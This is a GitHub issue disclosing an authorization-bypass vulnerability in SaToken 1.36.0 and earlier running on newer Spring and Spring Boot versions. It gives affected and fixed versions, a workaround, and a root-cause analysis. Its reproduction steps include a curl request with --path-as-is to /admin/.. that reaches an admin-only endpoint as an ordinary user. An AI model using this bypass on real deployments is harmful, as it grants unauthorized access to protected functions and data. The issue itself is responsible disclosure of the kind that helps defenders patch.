Skip to content

SaToken和Spring对uri处理的差异化引发的越权漏洞(SaToken and Spring's differential handling of URIs raises authorization bypass vulnerabilities) #515

Description

@m4ra7h0n

affected version:

SaToken version <= 1.36.0
and (SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0)

fixed version:

version = 1.37.0

description

When SaToken version <= 1.36.0, together with SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0, a specially crafted HTTP request may cause an authentication bypass. The authentication bypass occurs when SaToken and Spring Boot/Spring are using different pattern-matching techniques. Update to SaToken 1.37.0 or set the following Spring Boot configuration value: spring.mvc.pathmatch.matching-strategy = ant_path_matcher

复现步骤:

First register the user, the permission is:user
(首先,注册用户,权限是user)

@Component
public class StpInterfaceImpl implements StpInterface {
    @Override
    public List<String> getPermissionList(Object loginId, String loginType) {
        List<String> list = new ArrayList<String>();
        list.add("user");
        return list;
    }
}

Register an interceptor whose interception address is:/admin/**,Need permission:admin
(注册一个拦截器,地址是/admin/**,需要权限admin)

@Configuration
public class SaTokenConfigure implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new SaInterceptor(handler -> {
            SaRouter
                .match("/**")
                .notMatch("/user/doLogin")
                .check(r -> StpUtil.checkLogin());

            SaRouter.match("/admin/**", r -> StpUtil.checkPermission("admin"));
        })).addPathPatterns("/**");
    }
}

Then write a login interface, an admin interface, the interface address is:/admin/**
(然后写一个登录接口,一个admin接口,admin接口地址是/admin/**)

@RestController
public class UserController {
    // Test login, browser access: http://localhost:8081/user/doLogin?username=zhang&password=123456
    @RequestMapping("/user/doLogin")
    public String doLogin(String username, String password) {
        if("zhang".equals(username) && "123456".equals(password)) {
            StpUtil.login(10001);
            return "success";
        }
        return "fail";
    }

    @RequestMapping("/admin/**")
    public String getPassword() {
        return "flag{m4ra7h0n}";
    }
}

Login first(http://localhost:8081/user/doLogin?username=zhang&password=123456)
(首先登录)
image
Then access: /admin/.. without url normalizing
(然后访问/admin/..,使用url未被curl/浏览器标准化的访问方式)

curl -H "Cookie: satoken=42ae3a64-974e-4e6e-8a9a-6a9e41c83396" --path-as-is http://localhost:8081/admin/..

image

root cause

其根本原因在于SaRequestForServlet.getRequestPath()函数使用HttpServletRequest.getServletPath()获取标准化的servlet path,处理了跨目录。

而Spring与SpringBoot情况如下(未处理跨目录):
1.SpringBoot版本>=2.3.1.RELEASE时org.springframework.web.servlet.mvc.method.RequestMappingInfo#getMatchingCondition()中使用PatternsCondition.getMatchingCondition()获取匹配的路径,其内部PathHelper.getLookupPathForRequest()函数查找映射时alwaysUseFullPath=true(这里是SpringBoot自动装配配置的,版本<=2.3.0.RELEASE时使用spring中默认的false),其使用getPathWithinApplication()查找url,未处理跨目录,而此时Spring版本<5.3.0
2.当Spring版本>=5.3.0时Url匹配模式直接从PatternsCondition.getMatchingCondition();转变成了PathPatternsRequestCondition.getMatchingCondition(),这会导致其使用ServletRequestPathUtils.getParsedRequestPath(request).pathWithinApplication();查找url,同样未处理跨目录。

Springboot版本>=2.3.1.RELEASE时引发的路径绕过可参考http://rui0.cn/archives/1643
spring5.3.0版本更新文档可参考https://spring.io/blog/2020/06/30/url-matching-with-pathpattern-in-spring-mvc
此漏洞可参考CVE-2023-22602
修复参考apache/shiro@e167a71

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions